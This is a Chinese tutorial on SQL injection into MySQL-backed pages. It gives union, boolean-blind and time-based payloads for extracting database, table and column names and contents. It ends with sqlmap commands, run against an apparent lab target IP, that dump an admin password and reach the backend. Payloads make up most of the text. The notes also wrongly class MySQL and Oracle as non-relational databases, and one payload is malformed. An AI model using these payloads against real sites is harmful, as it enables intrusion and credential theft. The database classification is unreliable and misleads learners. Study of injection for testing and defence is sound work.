SQL注入
数据库基础
*关系型数据库:
#Access
#MSSQL -- 1433
*非关系型数据库:
#MySQL -- 3306
#Oracle -- 1521等
对MySQL数据库的操作
1.显示数据库 show databases;
2.显示数据库版本 select version();
3.使用数据库 use XXX;
4.显示当前正在使用的数据库 select database();
5.显示当前数据库表名 show tables;
6.显示当前使用数据库的用户 select user();
7.查询数据库路径 select @@datadir;
什么是SQL注入?
(1) SQL注入的概念
SQL注入是在用户请求输入时, 由于后端代码没有对用户输入的字符串进行过滤、转义、限制或处理不严谨等, 导致用户可以通过输入恶意字符串改变原有的SQL查询语句, 从而泄露信息。
(2) SQL注入示例
举例:
正常参数传递 http://www.xxx.com/student.php?id=1
恶意构造:
select * from students_info where id = 1;
#SQL注入 http://www.xxx.com/student.php?id=1 union select * from students_info;
此时所执行的SQL语句为:
#select * from students_info where id = 1 union select * from students_info
联合注入
(一) 检查注入点
一: 数字型
?id =1 (正常)
?id =-1 (无内容)
?id =1' (错误)
二: 字符型
?id =1' and '1' =' 1 (正常)
?id =1' and '1' =' 2 (无内容)
三: 总结
字符型的注入需要从两个引号中逃逸来构造注入语句, 否则语句中的引号只会以字符串的形式导入数据库, 而不会执行。
(二) 查询当前数据库段数
利用ORDER BY 语句来测试当前数据库的段数, 以字符型为例。
测试内容:
?id=1' order by 1--+- (正常显示)
?id=1' order by 2--+- (正常显示)
?id=1' order by n--+- (正常显示)
?id=1' order by n+1--+- (报错或无显示)
*通过以上结果判断, 该数据库的段数为n个。
(三) UNION泄露信息
(1) 获取信息泄露位置:
?id=-1' union select 1,2,3,...,n--+-
(2) 泄露当前数据库信息:
1.泄露数据库的语句如下:
?id=-1' union select 1,database(),3,...,n--+-
2.泄露版本的语句如下:
?id=-1' union select 1,version(),3,...,n--+-
3.泄露用户的语句如下:
?id=-1' union select 1,user(),3,...,n--+-
(3) 泄露当前数据库下所有表名:
?id=-1' union select 1,group_concat(table_name),3,...,n from information_schema.tables where table_schema=database()--+-
(4) 泄露当前数据库下某表中所有列名:
?id=-1' union select 1,group_concat(column_name),3,...,n from information_schema.columns where table_name='表名' and table_schema=database()--+-
(5) 泄露当前数据库某表下对应列的内容
?id=-1' union select 1,group_concat(列名1, 列名2, 列名3),3 from '表名' --+-
布尔注入
(一) 布尔注入的概念
布尔注入是利用or拼接两个查询语句, 当前者或者后者有一个能够返回结果时, 就可以返回结果。 因此可以控制使得第一个语句永远不成立, 当后面的语句成立时, 页面会返回结果。
适用场景:
union被拉入用户输入内容的黑名单中。
当一个页面, 存在注入, 没有显示位, 没有输出SQL语句执行错误信息, 只能通过页面返回正常不正常进行判断进行SQL注入。
(二) 获取库名
?id=-1' or length(database())>7--+-
?id=-1' or ord(mid(database(),1,1))>100--+-
当前数据库名的第一个字符
(三) 获取表名
?id=-1' or (select ORD(mid(GROUP_CONCAT(TABLE_NAME),1,1)) from information_schema.tables where table_schema=database() limit 0,1)>100--+-
(四) 获取列名
第一种写法: ?id=-1' or (select ord(mid(group_concat(column_name),1,1)) from information_schema.columns where table_name='emails' and table_schema=database() limit 0,1)>100--+-
第二种写法:
?id=-1' or ord(mid((select group_concat(column_name) from information_schema.columns where table_name='emails'),1,1))>100--+-
(五) 获取内容
?id=-1' or ord(mid(select group_concat(id) from emails,1,1))>40--+-
emails表id列第一个字符的ASCII码
时间注入
(一) 时间注入的概念
通过注入特定语句, 根据对页面请求的反馈, 来判断是否注入成功, 如: 在SQL语句中使用sleep()函数看加载网页的时间来判断注入点。
适用场景:
不管怎样变换参数, 都无法从显示页面上获取执行结果, 甚至连注入语句是否执行都无从得知。
(二) 获取库名
?id=-1' or sleep(if((select length(database()))>7,5,0))--+-
*判断数据库库名长度是否大于7
工具sqlmap的使用, 将介绍一个实例
靶场地址:http://140.143.147.109:32826/
第一步测试注入点,通过对比两个url的回显结果
http://140.143.147.109:32826/post.php?p_id=1
http://140.143.147.109:32826/post.php?p_id=1’
得到注入点后, 便使用sqlmap来爆破
第一步爆破数据库名, sqlmap指令为python sqlmap.py -u http://140.143.147.109:32826/post.php?p_id=1 --dbs
#数据库名为cms
第二步爆破表名, sqlmap指令为python sqlmap.py -u http://140.143.147.109:32826/post.php?p_id=1 -D cms --tables
#表名为admin_cms
第三步爆破出字段, sqlmap指令为python sqlmap.py -u http://140.143.147.109:32826/post.php?p_id=1 -D cms -T admin_cms --columns
字段有id, password
最后爆破出字段password的值, sqlmap指令为python sqlmap.py -u http://140.143.147.109:32826/post.php?p_id=1 -D cms -T admin_cms -C password --dump
成功得到密码, 猜测账户为admin, 成功进入后台